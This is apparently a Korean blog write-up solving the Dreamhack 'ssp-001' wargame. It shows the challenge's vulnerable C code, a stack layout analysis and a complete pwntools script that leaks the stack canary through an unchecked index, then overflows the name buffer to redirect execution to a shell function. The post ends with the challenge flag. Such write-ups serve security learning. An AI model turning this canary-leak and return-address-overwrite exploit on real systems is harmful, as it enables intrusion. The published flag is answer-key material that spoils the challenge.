본문 바로가기

Wargame/Dreamhack

[Dreamhack] ssp-001

 

 

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {                                 //쉘을 띄워주는 함수
    system("/bin/sh");
}

void print_box(unsigned char *box, int idx) {      //원하는 인덱스의 box 값을 출력
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}

void menu() {                                      //menu를 출력
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}

int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':                             //menu에 F 입력하면 box에 0x40 입력받음
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':                             //menu에 P 입력하면 idx 입력받고 print_box() 함수 호출하여 box[idx]로부터 2바이트 인덱스 값 출력
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':                             //menu에 E 입력하면 name_len 변수에 이름의 크기 입력받고 name 변수에 이름 입력받음
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

 

문제 코드 해석은 주석으로 달아 두었다.

 

메뉴 P에서 idx를 입력받을 때 경계값 검사를 하지 않기 때문에 64 이상 입력해 box[0x40] 영역을 벗어나는 메모리 공간을 leak하고 name 아래에 있는 값을 출력할 수 있다.

메뉴 E에서 name_len에 제한이 없어 원하는 크기만큼 name에 입력할 수 있기 때문에 버퍼 오버플로우가 발생한다.

 

그럼 어떻게 공격을 해야할까?

1. P로 카나리 릭

2. E로 BOF 트리거

3. 1의 카나리로 stack guard 우회 후 RET을 get_shell addr로 덮어쓰기

 

 

select = [ebp-0x8a]

box = [ebp-0x88]

idx = [ebp-0x94]

name = [ebp-0x48]

name_len = [ebp-0x90]

 

 

RET = 0xf7d9b519

 

 

EBP = 0xf7ffd020

 

 

canary = 0x7fc2fb00

canary와 ebp 사이에 0xf7ffcb80이라는 dummy 존재

 

RET [4]

EBP [4]

dummy [4]

canary [4]

name [64]

box [64]

select [2]

name_len [4]

idx [4]

 

페이로드를 짜보자.

 

nop * 64 + canary + nop * 4 + nop * 4 + get_shell address

 

from pwn import *

def slog(name, addr):
  return success(": ".join([name, hex(addr)]))


#context.log_level = 'debug'

p = remote("host3.dreamhack.games", 17050)
e = ELF("./ssp_001")

get_shell = e.symbols['get_shell']


# Canary Leak
canary = b""

i = 131
while i >= 128:               //P buf idx 출력 -> canary 추출
  p.sendlineafter("> ", 'P')  
  p.sendlineafter("Element index : ", str(i))
  p.recvuntil("is : ")
  canary += p.recvn(2)
  i = i - 1

canary = int(canary, 16)
slog("canary", canary)


# BOF
payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)

p.sendlineafter("> ", 'E')
p.sendlineafter("Name Size : ", str(1000))
p.sendlineafter("Name : ", payload)

p.interactive()

 

DH{00c609773822372daf2b7ef9adbdb824}

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] basic_exploitation_002  (0) 2023.11.11
[Dreamhack] Return to library  (0) 2023.09.24
[Dreamhack] Return to shallcode  (0) 2023.09.24
[Dreamhack] basic_exploitation_000  (0) 2023.09.17
[Dreamhack] XSS-1  (0) 2023.09.14